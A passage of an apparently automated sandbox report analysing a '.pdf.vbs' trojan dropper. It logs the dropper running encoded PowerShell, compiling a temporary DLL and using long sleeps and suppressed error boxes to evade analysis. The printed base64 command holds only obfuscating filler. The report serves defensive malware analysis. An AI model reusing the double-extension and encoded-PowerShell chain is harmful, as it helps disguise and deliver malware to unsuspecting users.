gBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESBAD5.tmp" "c:\Users\user\AppData\Local\Temp\wwh3pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP"
    Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:640:120:WilError_01
    Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20220512Jump to behavior
    Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user~1\AppData\Local\Temp\rettetast.datJump to behavior
    Source: classification engineClassification label: mal88.troj.evad.winVBS@8/9@0/0
    Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
    Source: Binary string: k;C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.pdb source: powershell.exe, 0000000E.00000002.887326067.0000000004919000.00000004.00000800.00020000.00000000.sdmp

    Data Obfuscation

    barindex
    Source: Yara matchFile source: 0000000E.00000002.894432907.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_07A3564A push eax; mov dword ptr [esp], edx
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_07A39E70 push eax; mov dword ptr [esp], edx
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_07A31DBE push esi; ret
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dllJump to dropped file

    Hooking and other Techniques for Hiding and Protection

    barindex
    Source: Possible double extension: pdf.vbsStatic PE information: doc_65398086_4190362045539.pdf.vbs
    Source: C:\Windows\System32\wscript.exeRegistry key monitored for changes: HKEY_CURRENT_USER_Classes
    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1160
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5984Thread sleep time: -11068046444225724s >= -30000s
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5984Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dllJump to dropped file
    Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: powershell.exe, 0000000E.00000002.886458103.0000000004701000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: k:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
    Source: powershell.exe, 0000000E.00000002.886458103.0000000004701000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #Instru9 SBEURTERNE Slan Spontan7 UNCALL embo reit Tarpape ugiftesd BACKSTAIR egoityh Smed UROGEN vasorrhap Ametro PARAPHRAST Krymmelloc2 INTERSPIR Unsque6 jacobitis PHONOPH Absconders7 Chikitaops SKYGG DOMMEDAGS nonassista Archche tviv Kaprifoli Finansti #Trippets Mlke2 nonexplor FOLKECE Arveflge FASTPRISSY Hoggw6 Repet4 HALVONKLE Arbejds PLOTTER Tsed #Dynamikken7 STKYSTT Hydronit5 redistri mericar vipp Fabr1 FLOVMA AANDSHO Staalstu JESUI Tana Commo Guapino Synkron7 devlinret Omstningsg Rese2 metrolo SUGENEKDBO Svirpetsum1 hydrater OBSERVA TEMPANA VIKINGER upriveeks heartb Embed UNASSEN OPKLA eebreere Picritic3 #EELIEST Crystalog1 DUSINME Indiv8 udskriftsp Teknokra1 tyndtf Elevtime6 dyksv bonboners anticapit under vier YDERP Klbebaand9 Vipst4 Maximon Appraise4 ARTIGER #UDSKRIDN zitas spank Tipperho6 scrol Fnisr FRASIGE dieticia haan Spaamnds1 servi Ledsagemu Underkendt7 Sandp4 kapslerbas disr PROP rosse Forkla9 #Transistor1 WARD Domsfo3 BAJADSEN KARAKTERB chlo Isoc Orontium3 Equippe7 Epigramr Mattispu Shoppinge RETI DEORSUMV almu Gravhu Forsg8 THIR LITOGRAFRA Stra distri SPLICEAB gritmedi lseadga KATAPU mani Parenthoo udsvi #Samlivs5 ambi urootwos Resistingl7 transporta spejling NATIONAL Endeven6 ROLLE Unintell6 mode Sectionall7 Unser9 Ferryslo #TANDBR frio Tillid7 Progyp9 HAVEBR maugerass bemalingco Heteromorp2 Snapre ABNE Lysdd Under #MULLEINS Magdal4 NONCRYST Hoejr5 BUNINGE SWIDG forpagt TYPEGOD SMAAPARTI UNDERSKOVD Skoleg arusha coat Bekymre5 snigg
    Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #Instru9 SBEURTERNE Slan Spontan7 UNCALL embo reit Tarpape ugiftesd BACKSTAIR egoityh Smed UROGEN vasorrhap Ametro PARAPHRAST Krymmelloc2 INTERSPIR Unsque6 jacobitis PHONOPH Absconders7 Chikitaops SKYGG DOMMEDAGS nonassista Archche tviv Kaprifoli Finansti #Trippets Mlke2 nonexplor FOLKECE Arveflge FASTPRISSY Hoggw6 Repet4 HALVONKLE Arbejds PLOTTER Tsed #Dynamikken7 STKYSTT Hydronit5 redistri mericar vipp Fabr1 FLOVMA AANDSHO Staalstu JESUI Tana Commo Guapino Synkron7 devlinret Omstningsg Rese2 metrolo SUGENEKDBO Svirpetsum1 hydrater OBSERVA TEMPANA VIKINGER upriveeks heartb Embed UNASSEN OPKLA eebreere Picritic3 #EELIEST Crystalog1 DUSINME Indiv8 udskriftsp Teknokra1 tyndtf Elevtime6 dyksv bonboners anticapit under vier YDERP Klbebaand9 Vipst4 Maximon Appraise4 ARTIGER #UDSKRIDN zitas spank Tipperho6 scrol Fnisr FRASIGE dieticia haan Spaamnds1 servi Ledsagemu Underkendt7 Sandp4 kapslerbas disr PROP rosse Forkla9 #Transistor1 WARD Domsfo3 BAJADSEN KARAKTERB chlo Isoc Orontium3 Equippe7 Epigramr Mattispu Shoppinge RETI DEORSUMV almu Gravhu Forsg8 THIR LITOGRAFRA Stra distri SPLICEAB gritmedi lseadga KATAPU mani Parenthoo udsvi #Samlivs5 ambi urootwos Resistingl7 transporta spejling NATIONAL Endeven6 ROLLE Unintell6 mode Sectionall7 Unser9 Ferryslo #TANDBR frio Tillid7 Progyp9 HAVEBR maugerass bemalingco Heteromorp2 Snapre ABNE Lysdd Under #MULLEINS Magdal4 NONCRYST Hoejr5 BUNINGE SWIDG forpagt TYPEGOD SMAAPARTI UNDERSKOVD Skoleg arusha coat Bekymre5 snigg
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAA